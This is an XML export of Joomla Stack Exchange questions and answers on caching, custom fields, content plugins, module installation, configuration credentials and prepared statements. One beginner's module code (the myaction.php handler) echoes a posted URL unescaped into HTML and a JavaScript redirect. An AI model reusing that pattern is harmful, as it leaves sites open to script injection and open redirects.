  <row Id="28490" PostTypeId="2" ParentId="28489" CreationDate="2020-09-19T11:27:09.320" Score="1" Body="&lt;p&gt;Cleared the cache on my browser and that fixed my issue.&lt;/p&gt;&#xA;&lt;p&gt;Clearing cache in every browser and/or device is different but here is a helpful website with instructions for each browser.&lt;/p&gt;&#xA;&lt;p&gt;&lt;a href=&quot;https://www.refreshyourcache.com/en/home/&quot; rel=&quot;nofollow noreferrer&quot;&gt;https://www.refreshyourcache.com/en/home/&lt;/a&gt;&lt;/p&gt;&#xA;&lt;p&gt;If you only want to clear cache for this particular site you can go to inspect element or inspect, or whatever your browser calls it.  Then go to &amp;quot;storage&amp;quot; (in Firefox, others may call it a different name).  You can then clear cached storage and cookies for this particular site.&lt;/p&gt;&#xA;" OwnerUserId="7164" LastEditorUserId="7164" LastEditDate="2020-10-24T22:43:27.007" LastActivityDate="2020-10-24T22:43:27.007" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="28491" PostTypeId="2" ParentId="22549" CreationDate="2020-09-19T11:27:39.893" Score="0" Body="&lt;p&gt;Try clearing your cache, then close your browser and reopen it that fixed it for me.&lt;/p&gt;&#xA;&lt;p&gt;Clearing cache in every browser and/or device is different but here is a helpful website with instructions for each browser.&lt;/p&gt;&#xA;&lt;p&gt;&lt;a href=&quot;https://www.refreshyourcache.com/en/home/&quot; rel=&quot;nofollow noreferrer&quot;&gt;https://www.refreshyourcache.com/en/home/&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="7164" LastEditorUserId="7164" LastEditDate="2020-09-21T09:11:20.163" LastActivityDate="2020-09-21T09:11:20.163" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="28492" PostTypeId="1" AcceptedAnswerId="28494" CreationDate="2020-09-19T17:22:26.893" Score="0" ViewCount="260" Body="&lt;p&gt;I know how to create a &lt;a href=&quot;https://docs.joomla.org/Creating_a_custom_form_field_type&quot; rel=&quot;nofollow noreferrer&quot;&gt;custom form field&lt;/a&gt; if I am building a module/component/plugin but how do I build one of the Joomla! custom fields?&lt;/p&gt;&#xA;&lt;p&gt;I can't find a tutorial and I think I'm probably Googling the wrong thing (disclaimer: other search engines are available... kind of)&lt;/p&gt;&#xA;" OwnerUserId="7164" LastActivityDate="2020-09-19T18:15:16.867" Title="How can I create my own custom field?" Tags="|custom-field|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="28493" PostTypeId="1" AcceptedAnswerId="28498" CreationDate="2020-09-19T17:34:09.733" Score="0" ViewCount="41" Body="&lt;p&gt;I want to put a call to action in the middle of my content no matter what size the content it.&lt;/p&gt;&#xA;&lt;p&gt;I know I will need some JavaScript in order to calculate the word count and the mid point.  And I know I will need to take it a step further as I won't want to place the call to action inbetween a heading and a paragraph for example, so it will need some logic to work out the natural position.  I think I probably also need some logic to work out the length and add it to the end if the content is particularly short.&lt;/p&gt;&#xA;&lt;p&gt;Does anyone know where I can find that type of JavaScript code (preferably vanilla).&lt;/p&gt;&#xA;&lt;p&gt;I'm guessing a need a content plugin.  Does anyone know what type of content plugin I need to use?&lt;/p&gt;&#xA;" OwnerUserId="7164" LastActivityDate="2020-09-21T14:38:21.387" Title="How can I place a module position in the midpoint of my content no matter what size" Tags="|plugin|javascript|plugin-events|content-plugin|" AnswerCount="1" CommentCount="2" ContentLicense="CC BY-SA 4.0" />
  <row Id="28494" PostTypeId="2" ParentId="28492" CreationDate="2020-09-19T18:15:16.867" Score="3" Body="&lt;p&gt;I think you might be right there aren't direct official tutorials on this. But in the Joomla! documentation there is a hint.&lt;/p&gt;&#xA;&lt;p&gt;A developer focused pdf from the creator of custom fields Allon Moritz called DPFields at this time and merged into Joomla! 3.7&lt;/p&gt;&#xA;&lt;p&gt;&lt;a href=&quot;https://joomla.digital-peak.com/images/blog/JDD16%20Custom%20fields%20in%20Joomla%20for%20developers.pdf&quot; rel=&quot;nofollow noreferrer&quot;&gt;https://joomla.digital-peak.com/images/blog/JDD16%20Custom%20fields%20in%20Joomla%20for%20developers.pdf&lt;/a&gt;&lt;/p&gt;&#xA;&lt;p&gt;And another link on the official Joomla! documentation:&#xA;&lt;a href=&quot;https://docs.joomla.org/J3.x:Adding_custom_fields/Implement_into_your_component&quot; rel=&quot;nofollow noreferrer&quot;&gt;https://docs.joomla.org/J3.x:Adding_custom_fields/Implement_into_your_component&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="9588" LastActivityDate="2020-09-19T18:15:16.867" CommentCount="6" ContentLicense="CC BY-SA 4.0" />
  <row Id="28497" PostTypeId="2" ParentId="9581" CreationDate="2020-09-21T09:24:40.477" Score="4" Body="&lt;p&gt;A better solution for disabling JCaption injection in content pages is to override Joomla's core 'behavior.caption' HTML behavior with a stub function. You achieve this by creating a simple system plugin as follows:&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;use Joomla\CMS\HTML\HTMLHelper;&#xA;&#xA;class PlgSystemCaptionDisabler extends JPlugin&#xA;{&#xA;    function onAfterInitialise() {&#xA;        if (!HTMLHelper::isRegistered('behavior.caption')) {&#xA;            HTMLHelper::register('behavior.caption', array(__CLASS__, 'caption'));&#xA;        }&#xA;    }&#xA;&#xA;    // Dummy override function to disable default Joomla 'caption' behavior&#xA;    public static function caption() {}&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="454" LastActivityDate="2020-09-21T09:24:40.477" CommentCount="1" ContentLicense="CC BY-SA 4.0" />
  <row Id="28498" PostTypeId="2" ParentId="28493" CreationDate="2020-09-21T14:38:21.387" Score="1" Body="&lt;p&gt;You need to make a decision: either you do this server-side or client-side.&#xA;Server side requires a plugin written in php, while the client side a script written in Javascript. I would only use the client side if pixel-perfect alignment to other parts of the page is required.&lt;/p&gt;&#xA;&lt;p&gt;Should you choose to write the plugin, it is very easy, write a Content plugin which implements the &lt;code&gt;onAfterRender&lt;/code&gt; function; therein you would gather the body of the content with &lt;code&gt;JFactory::getApplication()-&amp;gt;getBody()&lt;/code&gt;, modify at will (i.e. load the module position and inject it) and apply the changes with &lt;code&gt;setBody()&lt;/code&gt;.&lt;/p&gt;&#xA;&lt;p&gt;Should you want to go with a script, you have jQuery loaded to make this kind of things faster.&lt;/p&gt;&#xA;&lt;p&gt;If the call to action is different for different users, you may run into cache issues with the plugin approach if you use full page caching.&lt;/p&gt;&#xA;" OwnerUserId="377" LastActivityDate="2020-09-21T14:38:21.387" CommentCount="1" ContentLicense="CC BY-SA 4.0" />
  <row Id="28500" PostTypeId="1" CreationDate="2020-09-22T21:39:27.420" Score="0" ViewCount="163" Body="&lt;p&gt;I want to hide the options &amp;quot;Send notifications for User Actions Log&amp;quot; and &amp;quot;Select events to be notified for Articles&amp;quot; (not disable them completely) in the &lt;strong&gt;admin's &amp;quot;edit profile frontend&lt;/strong&gt;.&amp;quot;&lt;/p&gt;&#xA;&lt;p&gt;It seems that there isn't an option in joomla's menu. I tried to find the option in the com_users folder, but I can't find it.&lt;/p&gt;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/Tazd8.png&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/Tazd8.png&quot; alt=&quot;enter image description here&quot; /&gt;&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="14544" LastEditorUserId="12352" LastEditDate="2020-09-23T04:24:15.873" LastActivityDate="2024-03-05T03:10:06.207" Title="How to hide specific User activity options in the frontend only?" Tags="|user|acl|front-end|profile|" AnswerCount="2" CommentCount="3" ContentLicense="CC BY-SA 4.0" />
  <row Id="28501" PostTypeId="1" AcceptedAnswerId="28502" CreationDate="2020-09-23T11:46:53.537" Score="0" ViewCount="32" Body="&lt;p&gt;While developing a component the database can go through many changes.&#xA;Updating the component then either goes through many schema update files, or causes problems. Re-applying a database change file (by resetting the schemas table) that adds tables, columns, or indexes currently generates an error that prevents installation.&lt;/p&gt;&#xA;&lt;p&gt;Is there a compelling reason why such errors as adding a duplicate table/field/index that already exists shouldn't be ignored? The equivalent applies to deletions, I suppose.&lt;/p&gt;&#xA;&lt;p&gt;MySQL (&amp;amp; presumably others)(?) has a very easy mechanism that would work for this, creating specific error handlers.&lt;/p&gt;&#xA;&lt;p&gt;This would make the database part of an upgrade idempotent, as the source code part (mostly) already is (did I see the hint of a &amp;quot;delete files&amp;quot; tag in J4 installation files?)&lt;/p&gt;&#xA;&lt;p&gt;I can see it might be argued this isn't a good idea for public releases, but while developing it would solve a real nuisance when a component has extensive, and evolving, database use.&lt;/p&gt;&#xA;" OwnerUserId="9777" LastActivityDate="2020-09-23T14:58:40.110" Title="Component development, on installing an update, should/could J! ignore some database errors?" Tags="|custom-component|database|extension-update|jinstaller|" AnswerCount="1" CommentCount="3" ContentLicense="CC BY-SA 4.0" />
  <row Id="28502" PostTypeId="2" ParentId="28501" CreationDate="2020-09-23T14:58:40.110" Score="0" Body="&lt;p&gt;I am using the Joomla Component builder more and more which gives a really good systematic approach.&#xA;&lt;a href=&quot;https://www.joomlacomponentbuilder.com/&quot; rel=&quot;nofollow noreferrer&quot;&gt;https://www.joomlacomponentbuilder.com/&lt;/a&gt;&#xA;With this, you can add your data and then change the structure, compile a new version and redeploy it.&#xA;It might help with your build cycle&lt;/p&gt;&#xA;" OwnerUserId="14547" LastActivityDate="2020-09-23T14:58:40.110" CommentCount="1" ContentLicense="CC BY-SA 4.0" />
  <row Id="28503" PostTypeId="2" ParentId="28481" CreationDate="2020-09-23T15:13:43.670" Score="0" Body="&lt;p&gt;There is a &amp;quot;dirty&amp;quot; way to do this.&#xA;Use regular labs rereplacer and simply replace in the head and replace&lt;/p&gt;&#xA; with&#xA;something before it &#xA;&lt;p&gt;&lt;a href=&quot;https://www.regularlabs.com/extensions/rereplacer&quot; rel=&quot;nofollow noreferrer&quot;&gt;https://www.regularlabs.com/extensions/rereplacer&lt;/a&gt;&lt;/p&gt;&#xA;&lt;p&gt;The swiss army penknife of the joomla world&lt;/p&gt;&#xA;" OwnerUserId="14547" LastActivityDate="2020-09-23T15:13:43.670" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="28504" PostTypeId="2" ParentId="28500" CreationDate="2020-09-23T15:27:48.363" Score="0" Body="&lt;p&gt;Template override. That's my go-to with this sort of thing. You can then target a specific user group/user to see/not see it&lt;/p&gt;&#xA;" OwnerUserId="14547" LastActivityDate="2020-09-23T15:27:48.363" CommentCount="1" ContentLicense="CC BY-SA 4.0" />
  <row Id="28505" PostTypeId="1" AcceptedAnswerId="28508" CreationDate="2020-09-23T22:19:56.863" Score="1" ViewCount="94" Body="&lt;p&gt;I followed the tutorial on the Joomla website about &lt;a href=&quot;https://docs.joomla.org/J3.x:Creating_a_simple_module/Using_the_Database&quot; rel=&quot;nofollow noreferrer&quot;&gt;Creating a simple module/Using the Database&lt;/a&gt;.&#xA;I created the following XML file:&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;?xml version=&amp;quot;1.0&amp;quot; encoding=&amp;quot;utf-8&amp;quot;?&amp;gt;&#xA;&amp;lt;extension type=&amp;quot;module&amp;quot; version=&amp;quot;3.1.0&amp;quot; client=&amp;quot;site&amp;quot; method=&amp;quot;upgrade&amp;quot;&amp;gt;&#xA;    &amp;lt;name&amp;gt;Mod_Helloworld2&amp;lt;/name&amp;gt;&#xA;    &amp;lt;author&amp;gt;Dhany&amp;lt;/author&amp;gt;&#xA;    &amp;lt;version&amp;gt;1.0.0&amp;lt;/version&amp;gt;&#xA;    &amp;lt;description&amp;gt;Hello World 2 with database&amp;lt;/description&amp;gt;&#xA;    &amp;lt;files&amp;gt;&#xA;        &amp;lt;folder&amp;gt;sql&amp;lt;/folder&amp;gt;&#xA;        &amp;lt;folder&amp;gt;tmpl&amp;lt;/folder&amp;gt;&#xA;        &amp;lt;filename&amp;gt;mod_helloworld2.xml&amp;lt;/filename&amp;gt;&#xA;        &amp;lt;filename module=&amp;quot;mod_helloworld2&amp;quot;&amp;gt;mod_helloworld2.php&amp;lt;/filename&amp;gt;&#xA;        &amp;lt;filename&amp;gt;index.html&amp;lt;/filename&amp;gt;&#xA;        &amp;lt;filename&amp;gt;helper2.php&amp;lt;/filename&amp;gt;&#xA;        &amp;lt;filename&amp;gt;tmpl/default.php&amp;lt;/filename&amp;gt;&#xA;        &amp;lt;filename&amp;gt;tmpl/index.html&amp;lt;/filename&amp;gt;&#xA;    &amp;lt;/files&amp;gt;&#xA;    &amp;lt;config&amp;gt;&#xA;    &amp;lt;/config&amp;gt;&#xA;&#xA;&#xA;    &amp;lt;install&amp;gt;&#xA;         &amp;lt;sql&amp;gt;&#xA;             &amp;lt;file driver=&amp;quot;mysql&amp;quot; charset=&amp;quot;utf8&amp;quot;&amp;gt;sql/mysql/install.mysql.utf8.sql&amp;lt;/file&amp;gt;&#xA;         &amp;lt;/sql&amp;gt;&#xA;    &amp;lt;/install&amp;gt;&#xA;&#xA;    &amp;lt;uninstall&amp;gt;&#xA;         &amp;lt;sql&amp;gt;&#xA;             &amp;lt;file driver=&amp;quot;mysql&amp;quot; charset=&amp;quot;utf8&amp;quot;&amp;gt;sql/mysql/uninstall.mysql.utf8.sql&amp;lt;/file&amp;gt;&#xA;         &amp;lt;/sql&amp;gt;&#xA;    &amp;lt;/uninstall&amp;gt;&#xA;&#xA;    &amp;lt;update&amp;gt; &#xA;        &amp;lt;schemas&amp;gt;&#xA;            &amp;lt;schemapath type=&amp;quot;mysql&amp;quot;&amp;gt;sql/mysql/updates&amp;lt;/schemapath&amp;gt; &#xA;        &amp;lt;/schemas&amp;gt; &#xA;    &amp;lt;/update&amp;gt;&#xA;&amp;lt;/extension&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;I installed this module and successfully, but it gives me the following warning:&lt;/p&gt;&#xA;&lt;blockquote&gt;&#xA;&lt;p&gt;JFolder: :files: Path is not a folder. Path: D:\XamppInstalation\htdocs\joomla\modules\mod_helloworld2\sql\mysql\updates&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&lt;p&gt;I checked my Module inside Zip File, &lt;code&gt;sql\mysql\updates&lt;/code&gt; folder does exists, but when I checked within the installed module this folder doesn't exist.&lt;/p&gt;&#xA;&lt;p&gt;This is my &lt;a href=&quot;https://drive.google.com/file/d/1zadX9ZteP2NoCHOfsxaf4cyi4JgcEER_/view?usp=sharing&quot; rel=&quot;nofollow noreferrer&quot;&gt;zipped module&lt;/a&gt;.&lt;/p&gt;&#xA;&lt;p&gt;Please help me check if there is something wrong with my module.&lt;/p&gt;&#xA;" OwnerUserId="14548" LastEditorUserId="12352" LastEditDate="2020-09-23T22:32:03.173" LastActivityDate="2020-10-24T06:02:15.230" Title="JFolder: :files: Path is not a folder. Path: D:\XamppInstalation\htdocs\joomla\modules\mod_helloworld2\sql\mysql\updates" Tags="|module|installation|error-warning|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="28507" PostTypeId="1" CreationDate="2020-09-24T00:17:38.697" Score="0" ViewCount="439" Body="&lt;p&gt;In configuration.php, there is as user &amp;quot;root&amp;quot; and password &amp;quot;&amp;quot;, when I put a password or modify something from there I cannot re-enter from local host.&lt;/p&gt;&#xA;&lt;p&gt;I get the following error:&lt;/p&gt;&#xA;&lt;blockquote&gt;&#xA;&lt;p&gt;Warning: session_start (): Failed to read session data: user (path: C: \ xampp \ tmp) in C: \ xampp \ htdocs \ miweb \ libraries \ joomla \ session \ handler \ native.php on line 260&lt;/p&gt;&#xA;&lt;p&gt;Error: Failed to start application: Failed to start the session&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/UaPia.jpg&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/UaPia.jpg&quot; alt=&quot;enter image description here&quot; /&gt;&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="14549" LastEditorUserId="12352" LastEditDate="2020-09-24T01:17:21.997" LastActivityDate="2020-09-24T06:33:47.607" Title="Changing user settings in configuration prevents login on localhost" Tags="|joomla3.8|configuration|" AnswerCount="1" CommentCount="1" ContentLicense="CC BY-SA 4.0" />
  <row Id="28508" PostTypeId="2" ParentId="28505" CreationDate="2020-09-24T05:10:18.977" Score="1" Body="&lt;p&gt;The &lt;code&gt;updates&lt;/code&gt; folder is empty. Empty folders are not created during installation. You don't need to add update schema paths in the initial version of your extension since it's going to be empty. But if you want to include it anyways, create a dummy file like &lt;code&gt;index.html&lt;/code&gt; inside the folder.&lt;/p&gt;&#xA;" OwnerUserId="12652" LastActivityDate="2020-09-24T05:10:18.977" CommentCount="2" ContentLicense="CC BY-SA 4.0" />
  <row Id="28509" PostTypeId="2" ParentId="28507" CreationDate="2020-09-24T06:33:47.607" Score="1" Body="&lt;p&gt;Those are database connection settings. You must provide correct credentials otherwise your site won't work.&lt;/p&gt;&#xA;&lt;p&gt;You shouldn't manually change these unless your site is already down due to incorrect credentials. If you want to change these settings for some other reason, you should do this through Global Configuration. This way database connection is validated before saving the settings.&lt;/p&gt;&#xA;" OwnerUserId="12652" LastActivityDate="2020-09-24T06:33:47.607" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="28510" PostTypeId="1" CreationDate="2020-09-24T20:11:04.763" Score="-2" ViewCount="38" Body="&lt;p&gt;I'm trying &lt;a href=&quot;https://extensions.joomla.org/extension/schuweb-sitemap/&quot; rel=&quot;nofollow noreferrer&quot;&gt;Schuweb Sitemap (3.1)&lt;/a&gt; on two Joomla sites (3.9.21).&lt;/p&gt;&#xA;&lt;p&gt;I'm getting the same error on both sites:&lt;/p&gt;&#xA;&lt;blockquote&gt;&#xA;&lt;p&gt;Erreur d’analyse XML : données incompréhensibles après l’élément de document&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&lt;blockquote&gt;&#xA;&lt;p&gt;Emplacement : &lt;a href=&quot;https://www.example.com/index.php?option=com_schuweb_sitemap&amp;amp;view=xml&amp;amp;tmpl=component&amp;amp;id=1&quot; rel=&quot;nofollow noreferrer&quot;&gt;https://www.example.com/index.php?option=com_schuweb_sitemap&amp;amp;view=xml&amp;amp;tmpl=component&amp;amp;id=1&lt;/a&gt;&#xA;Numéro de ligne 2, Colonne 1 :&#xA;&lt;b&gt;Warning&lt;/b&gt;:  A non-numeric value encountered in &lt;b&gt;/home/example/public_html/components/com_schuweb_sitemap/views/xml/tmpl/default.php&lt;/b&gt; on line &lt;b&gt;27&lt;/b&gt;&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;" OwnerUserId="14552" LastEditorUserId="12352" LastEditDate="2020-09-25T08:12:38.437" LastActivityDate="2020-10-23T16:42:15.553" Title="SchuWeb Sitemap error: non-numeric value encountered" Tags="|component|multi-sites|" AnswerCount="1" CommentCount="4" ContentLicense="CC BY-SA 4.0" />
  <row Id="28511" PostTypeId="1" CreationDate="2020-09-25T00:33:31.270" Score="0" ViewCount="185" Body="&lt;p&gt;I'm new in joomla, I created a module for learning purpose, let name it &lt;code&gt;mod_form1&lt;/code&gt;, I don't know what framework or class in joomla i should use for this so I use plain HTML. this is my &lt;code&gt;tmpl/default.php&lt;/code&gt; code&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;?php &#xA;// No direct access&#xA;defined('_JEXEC') or die; ?&amp;gt;&#xA;&amp;lt;?php echo '&amp;lt;br&amp;gt;&amp;lt;b&amp;gt;'.$hello.'&amp;lt;/b&amp;gt;';&#xA;&#xA;//action file resides in &amp;quot;D:\XamppInstalation\htdocs\joomla\modules\mod_form1\tmpl&amp;quot;&#xA;//joomla component access = &amp;lt;yoursite&amp;gt;/joomla/index.php?option=com_&amp;lt;component_name&amp;gt;&#xA;&#xA;$actionpath = '/'.basename(getcwd()).'/modules/mod_form1/tmpl/myaction.php';&#xA;echo '&amp;lt;br&amp;gt;actionpath - '.$actionpath;&#xA;echo '&amp;lt;br&amp;gt;basename() = '.basename(getcwd());&#xA;//echo '&amp;lt;br&amp;gt;current url = '. $_SERVER['REQUEST_URI'];&#xA;$currentURL = $_SERVER['HTTP_HOST'].$_SERVER['REQUEST_URI'];&#xA;echo '&amp;lt;br&amp;gt;current url = '.$currentURL;&#xA;?&amp;gt;&#xA;&amp;lt;form name=&amp;quot;indexForm1&amp;quot; method=&amp;quot;post&amp;quot; action=&amp;quot;&amp;lt;?php echo $actionpath ?&amp;gt; enctype=&amp;quot;text/plain&amp;quot; accept-charset=&amp;quot;UTF-8&amp;quot; target=&amp;quot;_self&amp;quot; id=&amp;quot;indexForm1&amp;quot;&amp;gt;&#xA;&amp;lt;br&amp;gt;Your name &amp;lt;input type=&amp;quot;text&amp;quot; id=&amp;quot;indexEditbox1&amp;quot; name=&amp;quot;name&amp;quot; value=&amp;quot;&amp;lt;?php echo $actionpath ?&amp;gt;&amp;quot; spellcheck=&amp;quot;false&amp;quot;&amp;gt;&#xA;&amp;lt;br&amp;gt;Your Age&amp;lt;input type=&amp;quot;text&amp;quot; id=&amp;quot;indexEditbox2&amp;quot; name=&amp;quot;age&amp;quot; value=&amp;quot;&amp;quot; spellcheck=&amp;quot;false&amp;quot;&amp;gt;&#xA;&amp;lt;br&amp;gt;&amp;lt;input type=&amp;quot;submit&amp;quot; id=&amp;quot;indexButton1&amp;quot; name=&amp;quot;&amp;quot; value=&amp;quot;Submit&amp;quot;&amp;gt; &#xA;&amp;lt;br&amp;gt;using regular way to submit directly (form above) to bypass JOOMLA doesn't work, &#xA;&amp;lt;br&amp;gt;so use javascript instead to submit form directly to ACTION php file like form bellow.&#xA;&amp;lt;/form&amp;gt;&#xA;&amp;lt;br&amp;gt;&amp;lt;a href=&amp;quot;&amp;lt;?php echo $actionpath ?&amp;gt;&amp;quot;&amp;gt;&amp;lt;?php echo $actionpath ?&amp;gt;&amp;lt;/a&amp;gt;&#xA;&#xA;&amp;lt;p&amp;gt;Enter some text in the fields below, then press the &amp;quot;Submit form&amp;quot; button to submit the form.&amp;lt;/p&amp;gt;&#xA;&#xA;&amp;lt;form id=&amp;quot;myForm&amp;quot; method=&amp;quot;post&amp;quot; action=&amp;quot;&amp;lt;?php echo $actionpath ?&amp;gt;&amp;quot;&amp;gt;&#xA;  First name: &amp;lt;input type=&amp;quot;text&amp;quot; name=&amp;quot;fname&amp;quot;&amp;gt;&amp;lt;br&amp;gt;&#xA;  Last name: &amp;lt;input type=&amp;quot;text&amp;quot; name=&amp;quot;lname&amp;quot;&amp;gt;&amp;lt;br&amp;gt;&amp;lt;br&amp;gt;&#xA;  &amp;lt;input type=&amp;quot;hidden&amp;quot; name = &amp;quot;backurl&amp;quot; value=&amp;quot;&amp;lt;?php echo $currentURL ?&amp;gt;&amp;quot;&amp;gt;&#xA;  &amp;lt;input type=&amp;quot;button&amp;quot; onclick=&amp;quot;myFunction()&amp;quot; value=&amp;quot;Submit form&amp;quot;&amp;gt;&#xA;&amp;lt;/form&amp;gt;&#xA;&#xA;&amp;lt;script&amp;gt;&#xA;function myFunction() {&#xA;  document.getElementById(&amp;quot;myForm&amp;quot;).submit();&#xA;}&#xA;&amp;lt;/script&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;Script above use &lt;code&gt;myaction.php&lt;/code&gt; to take action to handle Form, button &lt;code&gt;SUBMIT&lt;/code&gt; seem doesn't work so I use javascript to do SUBMIT.&#xA;this is my 'tmpl/myaction.php`&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;?php&#xA;echo '&amp;lt;br&amp;gt;form submitted';&#xA;echo '&amp;lt;br&amp;gt;MOD_FORM1 handled successfully';&#xA;$requestURL = $_POST['backurl'];&#xA;echo '&amp;lt;br&amp;gt;backURL = '.$requestURL;&#xA;&#xA;?&amp;gt;&#xA;&amp;lt;script&amp;gt;&#xA;&#xA;  //setTimeout(function(){ window.location =&amp;quot;localhost&amp;quot;); }, 3000);&#xA;  //setTimeout(function(){ alert(&amp;quot;Hello&amp;quot;); }, 3000);&#xA;  setTimeout(function(){ window.location = &amp;quot;http://&amp;lt;?php echo $requestURL ?&amp;gt;&amp;quot;; }, 3000);&#xA;  //window.location = &amp;quot;https://www.example.com&amp;quot;;&#xA;&#xA;&amp;lt;/script&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;This module works as expected but I think it is not Good Practice because &lt;code&gt;myaction.php&lt;/code&gt; work outside Joomla environment. can anyone please show me the right way to create something similiar to my lame module above ?, what framework I should read ?&lt;/p&gt;&#xA;&lt;p&gt;this is my &lt;a href=&quot;https://drive.google.com/file/d/1d45iC_iFzSzKrA3ijV0gxKl8xCd7lTub/view?usp=sharing&quot; rel=&quot;nofollow noreferrer&quot;&gt;entire module&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="14548" LastEditorUserId="14548" LastEditDate="2020-09-26T11:07:13.740" LastActivityDate="2024-04-04T12:08:00.907" Title="handling simple module form" Tags="|module|form|" AnswerCount="2" CommentCount="1" ContentLicense="CC BY-SA 4.0" />
  <row Id="28512" PostTypeId="1" CreationDate="2020-09-25T08:13:42.970" Score="0" ViewCount="251" Body="&lt;p&gt;I have multiple user groups that can only edit and create their own articles and categories. This works fine for existing articles and categories but when someone in that group creates a new article/category and sets the access to the group 'public', everyone can access it, from every group.&lt;/p&gt;&#xA;&lt;p&gt;Is it possible that for example if a user belong to group: 'User group A' and he creates a new article or category, that at the access dropdown there is only the option 'User group A'?&lt;/p&gt;&#xA;" OwnerUserId="12088" LastActivityDate="2024-02-13T01:07:35.850" Title="Only allow user to assign categories and articles to his own usergroup" Tags="|joomla-3.x|user|" AnswerCount="1" CommentCount="3" ContentLicense="CC BY-SA 4.0" />
  <row Id="28513" PostTypeId="2" ParentId="12119" CreationDate="2020-09-25T12:41:13.363" Score="1" Body="&lt;p&gt;Prepared Statements are possible in Joomla 4&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;$db    = JFactory::getDbo();&#xA;$query = $db-&amp;gt;getQuery(true);&#xA;&#xA;$value = 'string';&#xA;&#xA;$query-&amp;gt;select($db-&amp;gt;quoteName('something'))&#xA;      -&amp;gt;from($db-&amp;gt;quoteName('#__table_name'))&#xA;      -&amp;gt;where($db-&amp;gt;quoteName('foo') . ' = :myfield')&#xA;      -&amp;gt;bind(':myfield', $value);&#xA;&#xA;$db-&amp;gt;setQuery($query);&#xA;&#xA;$records = $db-&amp;gt;loadObjectList();&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;Some references:&lt;/p&gt;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;a href=&quot;https://docs.joomla.org/J4.x:Moving_Joomla_To_Prepared_Statements&quot; rel=&quot;nofollow noreferrer&quot;&gt;https://docs.joomla.org/J4.x:Moving_Joomla_To_Prepared_Statements&lt;/a&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;a href=&quot;https://stackoverflow.com/a/22374054/2943403&quot;&gt;How to use prepared statements in Joomla?&lt;/a&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;a href=&quot;https://stackoverflow.com/a/63698230/2943403&quot;&gt;How to use prepare statements / bind values in a query in Joomla 3?&lt;/a&gt;&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;" OwnerUserId="3822" LastEditorUserId="12352" LastEditDate="2020-09-26T08:52:09.700" LastActivityDate="2020-09-26T08:52:09.700" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="28514" PostTypeId="1" CreationDate="2020-09-25T14:41:00.363" Score="0" ViewCount="49" Body="&lt;p&gt;Is there a way to remove the icon-calendar from displaying throughout the entire Joomla website, without having to do an override on a bunch of .php files? Could this be done with CSS? Or possibly changing the that font to be 1x1 pixels in size?&lt;/p&gt;&#xA;" OwnerUserId="3943" LastActivityDate="2020-09-25T14:41:00.363" Title="Remove icon-calendar from displaying from entire Joomla website?" Tags="|joomla-3.x|icon|" AnswerCount="0" CommentCount="4" ContentLicense="CC BY-SA 4.0" />
  <row Id="28517" PostTypeId="1" AcceptedAnswerId="28519" CreationDate="2020-09-29T09:44:41.233" Score="0" ViewCount="1060" Body="&lt;p&gt;I have a custom component where I have a category field in a view (backend). That gives me the category id in the front-end.&lt;/p&gt;&#xA;&lt;p&gt;Now I want to know how I could fetch the category name from this catid. I tried JCategories class but was unsuccessful. When I Googled this question I only get DB Query examples as answers but there must be a better way to get the category name then to do a db query?&lt;/p&gt;&#xA;" OwnerUserId="13294" LastEditorUserId="13294" LastEditDate="2020-09-29T13:55:40.570" LastActivityDate="2020-09-29T13:55:40.570" Title="How to get the category name by id in custom component view" Tags="|component|category|" AnswerCount="1" CommentCount="2" ContentLicense="CC BY-SA 4.0" />
